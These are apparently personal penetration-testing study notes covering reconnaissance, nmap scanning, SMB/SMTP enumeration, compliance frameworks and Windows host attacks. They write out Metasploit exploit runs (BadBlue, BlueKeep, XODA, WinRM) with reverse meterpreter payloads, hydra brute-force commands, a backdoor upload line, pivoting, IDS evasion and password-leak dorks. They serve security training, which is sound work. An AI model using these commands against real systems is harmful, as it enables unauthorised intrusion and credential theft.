Reporting (writing of report / recommendation on remediation)
Active info gathering
We need permission
Scanning IP ranges
Scanning IP's for open ports (nmap/nessus)
Ports can tell us about services and we can look for vulns
Discovering open ports
examples:
nmap scan to discover open ports
Nessus scan to discover vulnerabilities
Enumerating info from target systems
Website recon and foot printing
IP addresses
Directories hidden from search engines
Host command (in kali)
host website.com
website.com has address 10.10.10.10
website.com has IPv6 address 2axx:4xx:1xx:4xxx::2
website.com mail is handled by 5 esa.website.com.
website.com mail is handled by 10 esa2.website.com.
website.com mail is handled by 15 esa3.website.com.
Often we might see a website hosted by a proxy like cloudflare
Robots.txt
Robots.txt is read by search engines and we can tell them directories not to crawl.
Browse to www.website.com/robots.txt
User-agent: *
Allow: /wp-admin/admin-ajax.php
Disallow: /wp-admin/
Sitemap: https://www.website.ie/sitemap.xml
Sitemap: https://www.website.ie/sitemap.rss
We can see they disallow /wp-admin/ that wp-admin folder tells us its a word press site.
Sitemap.xml
Sitemap is again for search engines to index the site.
Firefox plugin BuiltWith
This plugin will give whats running on this site
Will see widgets and plugins
Whatweb (kali)
whatweb website.ie
Download the full website with HTTrack
HTTrack (windows and linux) to look at the source code offline.
Whois (kali also many websites) - looking up registration details of websites
Main info to gather from the whois output:
What registrar the domain was registered with
Updated Date: When the domain was renewed
Created Date: When it was created
Registry expiry: (when the domain will expire)
Name server: can point to a proxy like cloud flare
DNSSEC: we might see the owner of the domain unless DNSSEC is enabled
whois zonetransfer.me
https://who.is (useful website for running who.is)
whois x.x.x.x (where x.x.x.x is public IP)
Website footprinting with netcraft
netcraft.com is a web tool with gather lots of the passive recon information for us in one location
DNS recon
dnsrecon -d domain.com
dnsdumpster.com - free website which organises the same information nicely
We can see name servers, SRV, TXT, mx records and subdomains
WAF with WAFW00f (kali)
WAF is a web application firewall
WAFw00f is WAF fingerprinting tool
wafwoof https://zonetransfer.me
Subdomain enumeration with sublist3r (kali)
Sublister checks the search engines to see if a subdomain was indexed at some stage
subliust3r -d domain.com -e google,yahoo
subliust3r -d domain.com (this will search with all search engines)
Keep in mind results won't be 100% but very useful.
It will make lots of requests to the engines so you may need a VPN to change connection to get it to work.
Google Dorks aka google hacking
site:domain.com
site:domain.com inrul admin (look for an admin panel)
site:domain.com inrul forum (look for a forum)
site:*.domain.com (show all the subdomains)
Sometimes subdomains are publicly available that shouldn't be
site:*.domain.com intitle admin (look for admin page)
site:*.domain.com filetype:pdf (look for pdf files)
site:*.domain.com employees
site:*.domain.com team
intitle: index of
Looking for older versions of the website for information like names, email addresses etc.
cache: domain.com
Thewaybackmachine.com
Looking for leaked usernames and passwords
inurl:auth_user_file.txt
inurl:passwd.txt
Google hacking database (https://www.exploit-db.com/google-hacking-database)
look up google dorks for wordpress for example
email harvesting with theHarvester (kali)
Searches on search engines and sites like linkedin and several other websites
Spyse - paid site worth considering
Leaked password databases
When we find emails addresses, check if their data has been leaked at some stage
Quick way to check if an email you found is in a data breach
https://haveibeenpwned.com/
DNS zone transfers
DNS servers is like a phone directory a list of URLs to IP addresses
Cloud flare: 1.1.1.1
Google: 8.8.8.8
DNS record types
A - Resolves hostname to IPv4 address
AAAA - Resolves hostname to IPv6 addreess
NS - The domains name server
MX - Where the email server is
CNAME - Aliases
TXT - text info often used to auth ownership of a domain
HINFO - host information
SOA - Domain auth
SRV - Service rexords
PTR - resolves IP to hostname
DNS Interrogation
Probe the DNS server for more info
DNS zone transfer
Admins may want to copy or transfer zone files from one DNS server to another. The process is known as a zone transfer.
If left misconfigured we can attempt a zone transfer from the primary DNS server to another server
A DNS zone transfer can provide pentesters with a holistic view of an organizations network layout.
Internal network addresses may be found on the orgs DNS servers
dnsrecon -d zonetransfer.ie
Active action:
dnsenum zonetransfer.ie
Zone transfer with dig
dig axfr [name-server] [domian]
dig axfr @ns2cm1.digi.ninja zonetransfer.me
Brute force domains with fierce
fierce -dns zonetransfer.me
Network mapping
IP range / subnets (so we scan scan)
How many hosts (we can see how many are up and max possible)
What client/server OS are they running
What network devices do they have, what vendor/SW versions running
Can we find a DMZ ?
Find what ports are open
Host discovery with nmap
-sn
ping sweep but may be blocked by firewalls
follow with
-Pn
--send-ip overrides arp (don't use arp, use icmp etc)
The idea is to gather IP's with a ping sweep, then run port scans on the IPs we see are up.
Some hosts won't respond to ping or it will be blocked by a hardward or software firewall. For this resaon we need to try a few methods and put it all together:
Ping (icmp echo)
TCP SYN (half open scan or stealth scan in namp)
ARP
TCP ACK (send an ACK to a server to see if we get a TCP RST back then we know its up)
TCP SYN-ACK (similar to above)
UDP (longer shot / specific use cases often UDP won't respond)
ICMP
Echo request
type: 8
code: 0
Echo reply
Type: 0
code: 0
8=request
0=reply
Netdiscover
namp uses ping/icmp and netdiscover uses arp
sudo netdiscover -i eth0 -r 192.168.3.0/24
Port scanning with nmap
-Pn (don't use ping for host detection, just do the port scan on common 1000 ports)
nmap -Pn x.x.x.x
nmap -Pn -p- x.x.x.x (scan all ports will take a long time, can add -T4 to speed up)
nmap -Pn -p- x.x.x.x -T4
nmap -Pn -p 80 x.x.x.x (scan port 80)
nmap -Pn -p1-10 x.x.x.x (scan a range)
nmap -Pn -F x.x.x.x (fast scan of commonly used ports)
nmap -Pn -sU x.x.x.x (use UDP)
Scan a range
nmap -sn 192.168.1.0/24 --send-ip
Scan multiple targets
nmap -sn 192.168.1.30 192.168.1.40
Scan .30 to .40
nmap -sn 192.168.1.30-40
Scan a list of IPs from a file
Gather you list of inscope IP's in a file called targets.txt
nmap -Pn -F -sV x.x.x.x (service version detection, takes longer)
-O OS detection (upper case O)
nmap -Pn -F -sV -O x.x.x.x -v
-sC (script scan to get more info)
We may need to speed up/slow down scans to avoid detection. We can use -T. Lower value is slower, higher value is faster (more chance to be detected by IPS etc).
-T
0 paranoid
1 sneaky
2 polite
3 normal
4 aggressive
5 insane
We can output nmap to files
-oN scan.txt
-oX scan.xml (can be imported into Metasploit later, can also nmap from inside Metasploit)
nmap -sV -Pn -oX myscan.xml t.t.t.t
Assessment Methods: footprinting + scanning
Mapping a network
define the scope
what is the most useful use of your time
physical access
VPN S2S, or dial in
Or totally no help you must gain physical or digital access
Get on the network (physical or remote access)
sniffing
Passive recon, watch the network, learn
ARP - resolves IP to MAC address, can arp the full subnet to learn about the network
ICMP (ping and traceroute)
type 8 is echo request (ping) we can ping the subnet to see what responds.
Nework Tools
Wireshark
ArpScan
ping
Fping
nmap and zenmap
Arpscan CLI
Sudo arp-sscan -i eht0 -g 192.168.3.0/24
Fping CLI
fping -i eth0 -g 192.168.3.0/24 -a 2> /dev/null
This prints only the alive hosts on the screen
Good idea to arp and ping the subnet.
Nmap CLI
nmap -Pn 192.168.3.0/24
nmap -sn 192.168.3.0/24
nmap also sends a TCP SYN
Wireshark
Run a capture
Run all your scans
Check hosts
Zenmap is gui version of nmap
Nmap OS and service detection
We can find OS and service versions with NMAP, below is how it works
Standard TCP 3WHS
open port
SYN >
SYN--ACK <
ACL >
RST+ACK >
closed port
SYN >
RST+ACK <
Stealth scan
SYN>
SYN+ACK
RST >
In the stealth scan we close the 3WHS as soon as we get the SYN+ACK back we know the port is open and a server responding.
Service detection
SYN >
SYN+ACK <
ACK >
BANNER < (service info here eg openssh v1.0)
RST+ACK >
In service detection we read data provided by the server.
NMAP basic switches
nmap -H (help, lots of options here)
-sV Service detection
-sC Scripts default
-A aggressive mode (loud) does all the scans
-O OS detection
-exclude (exclude certain hosts from scanning)
-A will does OS detect, version detect, Script Scan and traceroute
Scan targets from a file
nmap -iL ip-list.txt
Scan skip port scan and just send syn packet (faster). Just sends TCP SYN to port 80.
nmap -sn -PS 10.4.23.227
Other scan tools
Masscan - Fast scanner for big networks
Rutscan - low level language so fast
AutoRecon - keeps scanning / doing recon
Nmap ScanTechniques
SWITCH
EXAMPLE
DESCRIPTION
-sS
nmap 192.168.1.1 -sS
TCP SYN port scan (Default)
-sT
nmap 192.168.1.1 -sT
TCP connect port scan (Default without root privilege)
-sU
nmap 192.168.1.1 -sU
UDP port scan
-sA
nmap 192.168.1.1 -sA
TCP ACK port scan
-sW
nmap 192.168.1.1 -sW
TCP Window port scan
-sM
nmap 192.168.1.1 -sM
TCP Maimon port scan
Host Discovery
SWITCH
EXAMPLE
DESCRIPTION
-sL
nmap 192.168.1.1-3 -sL
No Scan. List targets only
-sn
nmap 192.168.1.1/24 -sn
Disable port scanning. Host discovery only.
-Pn
nmap 192.168.1.1-5 -Pn
Disable host discovery. Port scan only.
-PS
nmap 192.168.1.1-5 -PS22-25,80
TCP SYN discovery on port x. Port 80 by default
-PA
nmap 192.168.1.1-5 -PA22-25,80
TCP ACK discovery on port x. Port 80 by default
-PU
nmap 192.168.1.1-5 -PU53
UDP discovery on port x. Port 40125 by default
-PR
nmap 192.168.1.1-1/24 -PR
ARP discovery on local network
-n
nmap 192.168.1.1 -n
Never do DNS resolution
Port Specification
SWITCH
EXAMPLE
DESCRIPTION
-p
nmap 192.168.1.1 -p 21
Port scan for port x
-p
nmap 192.168.1.1 -p 21-100
Port range
-p
nmap 192.168.1.1 -p U:53,T:21-25,80
Port scan multiple TCP and UDP ports
-p
nmap 192.168.1.1 -p-
Port scan all ports
-p
nmap 192.168.1.1 -p http,https
Port scan from service name
-F
nmap 192.168.1.1 -F
Fast port scan (100 ports)
-top-ports
nmap 192.168.1.1 -top-ports 2000
Port scan the top x ports
-p-65535
nmap 192.168.1.1 -p-65535
Leaving off initial port in range makes the scan start at port 1
-p0-
nmap 192.168.1.1 -p0-
Leaving off end port in range makes the scan go through to port 65535
Service and Version Detection
SWITCH
EXAMPLE
DESCRIPTION
-sV
nmap 192.168.1.1 -sV
Attempts to determine the version of the service running on port
-sV -version-intensity
nmap 192.168.1.1 -sV -version-intensity 8
Intensity level 0 to 9. Higher number increases possibility of correctness
-sV -version-light
nmap 192.168.1.1 -sV -version-light
Enable light mode. Lower possibility of correctness. Faster
-sV -version-all
nmap 192.168.1.1 -sV -version-all
Enable intensity level 9. Higher possibility of correctness. Slower
-A
nmap 192.168.1.1 -A
Enables OS detection, version detection, script scanning, and traceroute
look for default and guest accounts and try the default passwords
nmap -p 445 --script smb-enum-users x.x.x.x
nmap -p 445 --script smb-enum-domains x.x.x.x
nmap -p 445 --script smb-enum-groups x.x.x.x
smbmap -u guest -p "" -H x.x.x.x
We expect guest account to be read only on IPC$ and print$ and NO access on anything else
With an account with rights
-x 'ipconfig'
--upload /backdodr.txt C:\backdoor.txt
--download 'c$:\loot.txt'
Other linux tools for SMB
nmap x.x.x.x -sV -p 139,445
Metasploit
msfconsole
Set a variable in metasploit
This way we don't have to keep typing in the target IP
workspace -a TEST
setg RHOSTS t.t.t.t
setg RHOST t.t.t.t
search smb
search smb_enum
use auxiliary/scanner/smb/smb_version
show options
set Rhosts x.x.x.x
run
exit
use auxiliary/scanner/smb/smb2
show options
set Rhosts x.x.x.x
Other useful SMB modules
smb_enumusers
smb_enumshares
smb_login
Find the NetBIOS computer name from an IP
nmblookup -A x.x.x.x
Uses netbios <20> means we can connect
Check if we can list shares without a username and password
smbclient -L x.x.x.x -N
rpcclient -U ''" -N x.x.x.x
enum4linux -o x.x.x.x
List shares (enum4linux)
enum4linux -S x.x.x.x
List groups (enum4linux)
enum4linux -G x.x.x.x
rpcclient commands
rpcclient -U ''" -N x.x.x.x
enumdomusers
Connect to a share with SMB client
smbclient //x.x.x.x/sharename -N
ls
cd secret
more flag.txt
Get OS ver
srvinfo
Get info on username admin
lookupnames admin
Enumeration is all about finding information to use again later, for example we can find out who has access to a certain folder and then target that user.
Connecting with word lists when we don't have passwords
use auxiliary/scanner/smb/smb_login
info
show options
set Rhosts x.x.x.x
set pass_file /user/share/wordlist.txt
set smbuser bob
run
Hydra brute force
Unzip the password file
gzip -d /usr/share/rockyou.txt.gz
hydra -l admin -P /rockyou.txt x.x.x.x smb
Watch out for lower case "p" and uppercase "P"
hydra -p SinglePassword
hydra -P /usr/share/passwordfile.txt
smbmap -H x.x.x.x -u admin -p Password01
Connect to admin share when you have the password and download a file
smbclient //192.212.251.3/admin -U admin
ls
cd hidden
ls
download a file
get flag.tar.gz
exit
extract
tar -xf flag.tar.gz
cat flag
Other services and pipes
Lots of other services use SMB and they connect via "pipes"
IF we know what to look for we can get info from the other services
use auxiliary/scanner/smb/pipe_auditor
info
show options
set Rhosts x.x.x.x
set smbuser bob
set smbpassword
options
run
Named pipes returned
\netlogon
\lsarpc
\samr
\eventlog
\initshutdown
\ntsvcs
\srvsvc
\wkssvc
Maybe we can use this info later
FTP (TCP port 21)
nmap -p 21 -sV -O 192.168.1.100
ftp in cmd prompt
ftp 192.168.1.100
Try nothing for username and password (anon login)
set USER_FILE /root/Desktop/wordlist/common_users.txt
set PASS_FILE /root/Desktop/wordlist/100-common-passwords.txt
set VERBOSE false
run
Enum module
use auxiliary/admin/mssql/mssql_enum
set RHOSTS 10.0.20.101
run
Export all SQL logins
use auxiliary/admin/mssql/mssql_enum_sql_logins
set RHOSTS 10.0.20.101
run
Run a command
use auxiliary/admin/mssql/mssql_exec
set RHOSTS 10.0.20.101
set CMD whoami
run
Get windows domain logins
use auxiliary/admin/mssql/mssql_enum_domain_accounts
set RHOSTS 10.0.20.101
run
SMTP enumeration
TCP 25 by default, 465 or 587 if using SSL cert.
This can get you the email domain and a list of users, which can be used to stage further attacks like phishing or brute force attacks with a targeted list of users.
service postgreql start
msfconsole
workspace -a SMTP
setg RHOST t.t.t.t
setg RHOSTS t.t.t.t
search type: auxiliary name: smtp
use auxiliary/scanner.smtp/smtp_version
info
set RPORT 25
run
use auxiliary/scanner.smtp/smtp_enum
set USER_FILE unix_users.txt
finds a list of users.
SMTP commands
VRFY admin@domain.com
HELO domain.com
EHLO domain.com
stmp-enum-user command uses a list to check if users exist
sendmail command can be used to send fakeemail
Enumeration recap
Spot common ports/apps
Find all the info publicly available
NMAP scripts intro
Nmap scripting engine (NSE)
Syn scan
Version scan
OS scan
all ports
timing profile T4
nmap -sS -sV -O -p- -T4 192.168.1.10
NMAP is open source and has many scripts already created
/usr/share/nnamp/scripts
extension is .nse and writtenin lua language
look for scripts relevant
ls /usr/share/nnamp/scripts | grep http
Script scan (default)
-sC
Run a script
--script=memcached-info
Run more than one script
--script=script1,script2
Run all scripts in a tree
--script=http-*
-A option combines OS detection, version detection and script scanning. Needs to run as root.
nmap -sS -A -p- -T4 192.168.1.100
Will take time as its running a lot of stuff
Evasion, Scan performance and output
-Pn Disable host discovery. Port scan only. Don't ping
-F fast scan just scans the top 100 ports
-sS TCP SYN scan
nmap -Pn -sS -F 192.168.1.10
When we scan if we see "filtered" we can assume there is a firewall blocking
Fragmenting
Breaking up you packets to evade detection
-f fragmentation option, packets get fragmented
We can give an MTU option
-f --mtu 32 (only packets larget than 32 will be fragmented)
-f --mtu 8 (you should see they are fragmented)
Spoofing your source
We can spoof our source IP. If we run a scan from a client it might trigger an alarm or look strange to IT staff. We can pretend to send our traffic from the gateway. T
We can speed up scans to reduce how long they take to complete, however this may cause IDS systems to alert. We can slow down scans for old networks and also to evade detection
-T
0 paranoid
1 sneaky
2 polite
3 normal
4 aggressive
5 insane
--scan-delay 5s (delay between probes)
15s is a good value but scan will take a long time
--host-timeout 5s (if it does not respond in 5seconds move on)
30s is a good option for larger networks, too low and you miss slow to respond hosts
Combining fragmentation with decoy IPs and timing templates your scans can slip under the radar of IDS systems.
NMAP output formats
Good idea to log every action you take in case you cause an issue.
Good idea to log scans so you don't have to keep running the same scans over and over
We can output nmap to files
-oN scan.txt (same as it comes out of terminal, can use grep on that file later but other formats may be better for that kind of work)
-oX scan.xml (can be imported into Metasploit)
-oS script kiddie format just a joke replaces open with op3n, can ignore this one
-oG nmap_grep.txt (greppable format so data can be manipulated with sed/awk etc. It lists each host on one line so its easier to use cut/sed/awk etc on the data)
Import nmap scan results into Metasploit
Run scan in namp and export to xml
nmap -sV -Pn -oX scan.xml t.t.t.t
Start DB for Metasploit (we need the DB running)
service postgresql start
Start Metasploit
msfconsole
Create a workspace, you may have several scans ongoing for different customers/projects
workspace -a PENTEST1
Confirm the DB connection is working
db_status
Import the scan data
db_import scan.xml
List the hosts (You will see all the info gathered from namp will be available in Metasploit)
hosts
List the services
services
List vulnerabilities (will be useful later)
vulns
We can run namp from Metasploit and it will automatically update the DB in Metasploit
db_nmap -Pn -sS -sV -O -p 445 192.168.1.100
Most of the time you would export in the normal .txt or .xml format
Scanning UDP ports
Don't forget some services are running on UDP
53
177
161
69
Scan a range
nmap -p 1-250 -sU x.x.x.x
Get more details on ports found like service version
nmap x.x.x.x -p 134,177,234 -sUV
Auxiliary modules
If we get access to server1 we may find it has access to server2. We can use the auxiliary modules to run a port scan through the first server we got access to. This is to avoid uploading nmap to server1 as it may be detected.
service start postgresql
msfconsole
db_status
workspace -a PORT_SCAN
search portscan
Look for auxiliary
use auxiliary/scanner/portscan/tcp
info
set RHOSTS t.t.t.t
set PORTS (may need to cover all ports)
set THREADS (default is 1 if scanning a larger network add more but will also use more CPU which can draw attention)
run
curl y.y.y.y
We see application name "XODA" in the HTML code
serach xoda
use exploit/unix/webapp/xoda_file_upload
info
set RHOSTS y.y.y.y
run
We should get a meterpreter shell
meterpreter> sysinfo
Launch bash shell
/bin/bash -i
ifconfig
Set to route through our current shell
run autoroute -s 192.168.1.3
Put meterpreter session into background
background
search portscan module
use auxiliary/scanner/portscan/tcp
set RHOST 192.168.1.3
run
This scan is now running through the first system we got control of.
nmap scan from external or pen test laptop on a switch port
Once we get control of a server we use the auxiliary port scan module because if we copied nmap or other tool up there it might be detected.
Summary of foot printing and scanning
Scan a target network with nmap
Build a picture of their network
Discover hosts
Discover listening ports on those hosts
Discover services running on those ports
Discover the version of those services running on those ports
Discover the OS version running on target hosts
Enumerate SMB with nmap
Know about nmap scripts in /usr/share/nmap/scripts
Evade IDS with fragmentation, spoofing and timing templates
Output your scan results
Import .xml into a workspace in metasploit
nnamp can be run from Metasploit
Don't forget about UDP ports
Vulnerability Assessment
What is a vulnerability
Generally its a weakness in code found in software or hardware components that when exploited result in a negative impact to confidentiality integrity or availability.
Either will be in the OS or some software that runs on the OS apps/services/drivers/dll's etc.
However physical weakness are also vulnerabilities. If you leave your server room unlocked anyone can walk in and install their malware.
How are vulnerabilities described
NIST (National Institute of Standards and Technology) - maintains NVD (National Vulnerability Database)
Mitre corporation - maintains CVE (Common Vulnerabilities and Exposures)
Each vuln page will have
Description - Summary of the issue
Severity - A score of how bad it is, is some information revealed or can an attacker execute code. Is it remote or do they need to be local or already have some kind of access.
References - Various likes for proof of concepts, whitepapers etc which prove the issue.
Weakness Enumeration
Known affected systems
Often there will be mitigation and remediation details on how to fix it. However with brand new vulns you may be waiting for a patch and have to take other action like taking a server offline (off the internet) until it can be patched.
Accepting risk is up to each organisation but at least you can inform them of what is out there and how bad it is.
These are vulnerabilities that no one else knows about and there is not patch. Often developed and used by nation state and APT's. However some private companies sell them to governments/law enforcement. There is also a black market for selling them on the dark web.
Most malware payloads are going to be reverse shells
The target will call back to an attacker owned domain such as cnc.evil and give a reverse shell, I can control that machine. Once an attacker has control they can pivot to other machines install software, steal data etc. What ever they intend to do.
Log4j
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
Basically lots of java applications (84%) were using the log4j library for logging. There was a vulnerability found in log4j. We could send a string into the log4j that would actually execute that code. That made this one pretty bad as we could run code on a remote server.
Apache tomcat is usually the web server used with java. Java Naming Directory Interface was the part of java used.
Nessus
Nessus tool can be used to scan your network for vulnerabilities
Basic scan will find basic network stuff
We can also do web application scan but it can cause disruption on those system so get permission and be careful
Advanced Scan
Host discovery > uncheck test local host, check use fast network discovery
Discovery > Port Scanning > check TCP
Assessment > General > Check perform through tests
Assessment > Web applications > Check Scan web applications
Save scan and run
Vulnerability research example
This will use an old one as an example
Lets say we run nmap on a target
nmap - sV 192.168.1.100
We see bad blue httpd 2.7 running on port 80
Browsing to it, it appears to be file server
Next step is to search "badblue 2.7 cve" on google etc. Check NVD, exploit DB etc.
We find it has a vulnerability that allows us to run code.
We find there is a metasploit module for the vulnerability. FYI metasploit is written in ruby.
msfconsole
search badblue 2.7
We see our CVE listed 2007-12-10
badblue_passthru buffer overflow its number 29 in the list, lets use it
use 29
info
set payload windows/meterpreter/reverse_tcp
set rhosts 192.168.1.100
set lhost eth1
Now lets run it
run
If we get meterpreter > prompt then it worked and we are in that machine
Type
sysinfo
Summary:
Vulnerabilities needs to be understood to understand the risk and present this to an org in a meaningful way
CVE, NVD and exploit DB describe vulns and give solutions. There are more locations on but these are some common ones.
Nessus is a great tool for scanning for vulnerabilities
Metasploit has many modules to exploit vulnerabilities for pentest / proof of concept
CIA Triad for cyber security
Availability (servers up)
Integrity (files arenot interfered with in transit, same data saved to disk as displayed in app)
Confidentiality (files are encrypted/secured or not in the case of public data. Authentication)
Compliance
Each business has their own needs and risk management.
Some companies choose to accept risk, however some some industries have regulations which you should be aware of.
PCI DSS (Payment card industry data security standard)
Created by VISA/Mastercard etc
HIPAA (Health Insurance Portability and Accountability Act)
How peoples health care information is handled
GDPR (General data protection regulation)
EU
CPPA (California Consumer Privacy act)
Enhance privacy rights and consumer protection
SOX (Sarbanes Oxley Act)
Requires strong internal control process over IT apps that have financial data flowing through it.
Verticals
You will also hear the term verticals referring to industries has a whole like finance healthcare government education etc
Framework and maturity
How do we implement cyber security controls related to my business needs (large vs small, industry etc). There have been several frame works create to help with this. You follow the frame work, get certified and audited.
Any business that is processing card payments needs to adhere to this. Legal requirement in many countries.
ISO/IEC 27000
Broad in scope on purpose
27001 - The guidelines
27002 - How to implement the guide
COBIT
Control Objectives for Information and Related Tech
Business focused and defines a set of generic process for IT management
NIST - CSF
National Institute of standards and technology (USA)
All federal agencies need to follow this SP 800-53
Anyone else can use it as a guide line.
CIS
Centre for internet security (non profit)
A set of best practices to improve cyber security
Free too to self asses
CMMC
Cybersecurity Maturity Model Certification
Used for national security
Outside 3rd party audit/certification
Has 5 levels of maturity
Basic
Intermediate
Good
Proactive
Advanced/progressive
ASD (Australia)
8 controls (4 maturity levels)
ASD Essential 8 was designed for windows based networks
What to do now at our level
What to do to get to the next level
What has compliance got to do with pertest ?
This is because most pentests are engaged because of a compliance or insurance requirement.
Security Auditing
Companies will do an audit for compliance / insurance or they my choose to do it as proof to potential customers of their professionalism. They may just care about security and want to keep attackers out.
Auditing should be an on going process its not a one and done process. Security is changing all the time so audits should be happening on a regular schedule.
Nessus has lots of templates for audits built in. For example PCI DSS.
Take good notes (Sublime text, one note, Joplin)
Mind map
Reports writing is important.
Security Auditing essential Terminology
Security policies (companies policies)
Compliance (adherence to industry standards/data protection)
Vulnerability (a weakness in a system or process)
Control (A safeguard or countermeasure to mitigate risks)
Risk Assessment (Evaluate risk level or vulnerabilities and other risks)
Audit trail (log of events on your systems, often not enough logging)
Compliance audit (an audit just based on compliance)
Access Control (Firewall or Badge swipe system)
Audit Report (Report to detail everything found in the audit so improvements can be made)
Security lifecycle
Lifecycle just means we do the audits over and over to check and make improvements when we can.
Prep work
Define objectives
Gather / create documentation
Establish an audit team. This can be internal, external or mixed. Some may choose to run 1 internal audit and 1 external audit separately. Keep in mind internal teams auditing their own work will have a bias to cover mistakes.
One common item would be to block powershell scripts, however your business may user powershell scripts so its not a black and white we must implement every item on each server.
Asset management
Starting point each company should have an excel with all the IP's of every device.
Sometime they might not even know what's out there.
Coming in as pen tester you can start with some info but assume there is more devices on that network that have not been included in this list
Basic scan of a network
nmap 192.168.1.0/24
Scan a few specific IPs of interest
nmap 192.168.1.1,50,229 -A
Nessus can also do this
Install nessus server
Login
Create a new scan
target 192.168.1.0/24 (we can also target a domain name lab.local)
Run the scan and when its complete we can export a report
There are many other tools for asset management in the end someone needs to do the work for keeping them up to date.
GRC
Governance, risk & compliance
Governance (in relation to GRC)
Defines framework of policies procedures and practices. Change approval board etc. Who has authority to make decisions. RFC, CAB etc.
Risk
Risk identification, assessment and mitigation
Compliance
Do we need to comply with an industry standard (GDRP, HIPPA, PCIDSS etc). Are we in compliance ?
Knowing the GRC of the company can help you write a report that makes sense.
Common standards and frameworks
Framework - structured approach to improving security over time.
Standards - Set hard requirements / criteria to earn the certification. eg All PCs must have AV installed.
Guidelines - Offer recommended practices and advice but not mandatory
A short example of the whole process
Develop a security policy
In this example we will develop a security policy for Linux servers following NIST SP 800-53.
this can also be installed via sudo apt-get install but its not the latest.
Install AV on linux
sudo apt-get intall clamav
Penetration test
Run a pertest against the items in the audit report.
hydra -l root - P /usr/shar/seclist/Passwords/xato-net-10-million-passwords.txt ssh://t.t.t.t:22 -t 2 -v
Auditing summary
We need to understand auditing as a pen tester
Each industry may have an interest in different frameworks / standards / compliance based on what country they are based in and what industry they operate in and their own business goals
Host/System based attacks
Focusing on windows and linux
Initial access > system/host attacks
Privilege Escalation
File system and pipes
Hashing dumps and lateral movement
A similar task will be done on linux.
Windows
Has the larges share of the OS market
Makes it a big target
Some famous ones MS08-067 (Conflicker) MS17-010 (EternalBlue)
Exploit code get published publicly so there is a big risk for windows users
Large corporations are usually slow to patch/upgrade
Windows was built in C an older programming language so it was vulnerable
For example by the time windows 10 came out many orgs were running windows 7 and even xp.
Physical attacks (theft, copy hard drive, USB key attacks, hardward key/screen loggers etc)
Type of windows vulnerabilities
Information disclosure - Allows attacker to get some info, on its own may look like nothing but can be used to build an attack. For example if we tell what version of some software we are running or list usernames.
Buffer overflow - Caused by programming errors, allows attackers to write data to a buffer and overrun the allocated buffer. Can either read or write data to/from memory could give the attacker full remote access / let them run commands etc
Remote code execution - lets the attacker run code on the target machine remotely
DOS - Denial of service, hold websites etc down often by sending lots of traffic from a bot net
Famous windows vulnerabilities
MS08-067 - Conflicker
MS17-010 - EternalBlue
Frequently exploited native windows services
Windows has many built in services running out of the box.
Some are not running but can be switched on easily
They can be exploited to gain and pivot access
IIS - Microsoft web server (usually on ports 80/443 but can listen on anything)
WebDAV - Like a http file/document server, usually running with IIS. (80/443)
SMB/CIFS - Windows file sharing (TCP port 445)
RDP - remote desktop (TCP 3389, UDP 3389 also used)
WinRM - Windows remote management, intended for admins (TCP ports 5986/443 and other ports)
Exploiting webDAV on IIS
IIS sites are .asp or PHP
File extensions:
.asp
.aspx
.config
.php
WebDAV
Distributed Authoring and Versioning
Lets a web server (IIS) act as a collaborative file server
WebDAV has some authentication available (user and password)
Exploitation tools
davtest (kali and parrot)
cadaver (kalo and parrot)
nmap
nmap -pN -sV -sC 192.168.100.1
Port 80 we see IIS running.
nmap -sV -p 80 --script=http-enum 192.168.100.1
This script will tell us if the webdav is running (looking for /webdav/ folder)
If we see 401 unauthorized we know authentication has been enabled
Hydra
hydra can be used to brute force the username and password.
you can build your users list from other recon, like linked in and calling up asking whats the username format for example it might be firstname.surname.
Password lists can be obtained from the internet and there is also full brute forcing which can take a long time. Once we know users we can also look for their details in password dumps online and try these as well.
Allows attackers to gain access to the network and get a metepreter session where they can execute code
Discovered by MS themselves (So we are told)
Affected by bluekeep
XP
Vista
Windows 7
Windows server 2008 R2
RDP needs to be enabled.
NLA stops this vulnerability
Lots of exploit code uploaded to git hub that has malware inside. Another warning abour running exploit code (or any code) from a stranger on the internet/github. If you must test it, read the code and understand it, don't run anything with binary blobs where you don't know what it does. Run inside a test VM environment not connected to any network and delete after testing.
Metasploit
msfconsole
search bluekeep
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
show options
set RHOST 192.168.1.100
set RPORT 3333
run
search bluekeep
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
*** Defaults to 64bit payload ***
set RHOSTS 192.168.1.100
show targets
set target 2
run
Will open a meterpreter session if it works
Kernel exploits can cause crashes/blue screens so be careful when running in a corporate environment
Also keep in mind attackers won't care about this and will crash systems if there is a chance they can get in.
Exploiting winRM
Its a remote management protocol for sysadmins using HTTP(S). (aka wsman)
WinRM is not switched on by default.
You may find it enabled in lots of corporate environments.
Remote access hosts on a local network
Run commands on windows systems
Manage/config windows systems remotely
Usual ports TCP
5985 (HTTP)
5986 (HTTPS)
evil-winrm is a ruby script to obtain a command shell session on the target
nmap
We need to define the port cause its not in the top 1000
nmap -sV -p 5985 192.168.1.100
crackmapexec
crackmapexec can be used to do a brute force on WinRM to ide users/passwords and execute commands
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set VERBOSE false
set PASSWORD anything
run
Metasploit
We can get a meterpreter shell with metasploit
service postgresql start
msfconsole
search winrm_script
use exploit/windows/winrm/winrm_script_exec
info
set RHOSTS 192.168.1.100
set FORCE_VBS true
set USERNAME administrator
set PASSWORD BadPW
run
sysinfo
cat "C:\flag.txt"
Privilege Escalation
Moving from normal user to higher rights like admin.
Attackers usual can get a user level foothold on a single machine with a phish email or social engineering phone call etc.
We will need privilege escalation to pivot and move through the network
Windows Kernel exploits
The kernel is the core of the OS. Has complete control over everything. Translation layer between hardware and software. Getting kernel level access for an attacker is obviously very useful for them
WindowsNT Kernel
Works a bit different than other kernels based on design philosophy. Has 2 main modes, user mode and kernel mode.
User mode - limited access
Kernel mode - unrestricted access (devices and system memory)
We want to get some code executed in kernel mode.
Again messing with the kernel can cause blue screens etc.
Identify the windows kernel in use
Identify if there are vulnerabilities for that version
Use the exploits to escalate privileges
Leverage the new access to pivot to other resources / machines / servers / networks etc.
Windows exploit suggester (github)
Compares a targets patch level with MS vuln DB.
Notifies you if there are matching metasploit modules
Windows kernel exploits (github)
Collection of windows kernel exploits sorted by CVE
Reminder about running code from github
Keep in mind attackers will have their own DB's that they may share with each other or will want to keep secret for as long as possible.
meterpreter has a command to automatically try elevate privileges "getsystem".
msfconsole
search suggester
use post/multi/recon/local_exploit_suggester (post is for post getting access)
info
set SESSION 3 (you must already have access)
run
